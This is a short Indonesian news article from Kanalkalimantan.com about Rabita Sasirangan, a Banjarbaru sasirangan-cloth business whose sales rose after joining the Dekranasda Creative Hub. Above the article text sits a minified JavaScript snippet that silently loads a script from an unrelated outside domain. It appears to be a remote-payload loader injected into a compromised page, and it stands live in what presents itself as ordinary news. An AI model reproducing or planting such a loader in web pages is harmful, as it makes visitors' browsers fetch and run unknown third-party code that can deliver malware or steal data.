(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Omset Puluhan Juta, Rabita Sasirangan Berkembang dari Dekranasda Creative Hub Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Kain sasirangan merupakan kain adat suku Banjar khas Kalimantan Selatan terus digunakan melalui berbagai inovasi oleh para pengrajin.

Salah satu daerah yang memproduksi kain sasirangan tersebar di seluruh daerah Kalimantan Selatan, tidak terkecuali Kota Banjarbaru dengan para pengrajin lokal.

Salah satu UMKM yakni Rabita Sasirangan binaan Dekranasda Kota Banjarbaru berhasil memasarkan hasil produksi mereka ke berbagai wilayah di Indonesia hingga mancanegara.

Melalui proses kurasi yang dilakukan di Dekranasda Creative Hub Banjarbaru Mess L oleh Ketua Tim Penggerak PKK Kota Banjarbaru Vivi Mar’i Zubedi, Rabita Sasirangan yang beralamat di Kelurahan Palam, Kecamatan Cempaka, berhasil menaikkan omset hingga 10 kali lipat.

“Awalnya omset offline cuman sekitar Rp1-2 juta. Alhamdulillah setelah bergabung dengan Mess L Dekranasda, omset kita sampai puluhan juta,” tutur Ratnasari, kepala marketing Rabita Sasirangan.

Selain membantu UMKM dalam proses penjualan, Dekranasda Creative Hub juga sering mendapatkan kunjungan dari berbagai tamu luar daerah. Mulai dari pemerintahan, perorangan hingga turis asing. Hal ini memudahkan para UMKM khususnya Rabita Sasirangan yang sebelumnya tidak memiliki tempat penjualan offline.

“Sebelum ikut Dekranasda Banjarbaru kami kesusahan dalam penjualan offline karena baru punya workshop untuk tempat produksi sedangkan toko pribadi, kita belum memiliki, kalau datang ke workshop rasanya belum proper untuk produk ecraft, juga tidak mendukung untuk customer melirik produk,” jelasnya.

Lebih lanjut, Ratna mengungkapkan kehadiran Dekranasda Creative Hub Banjarbaru sangat membantu para UMKM, dan mendapatkan antuas luar biasa yang menarik minat wisatawan untuk berkunjung dan melihat berbagai kerajinan lokal yang variatif. (Kanalkalimantan.com/bie)

Reporter: bie
Editor: kk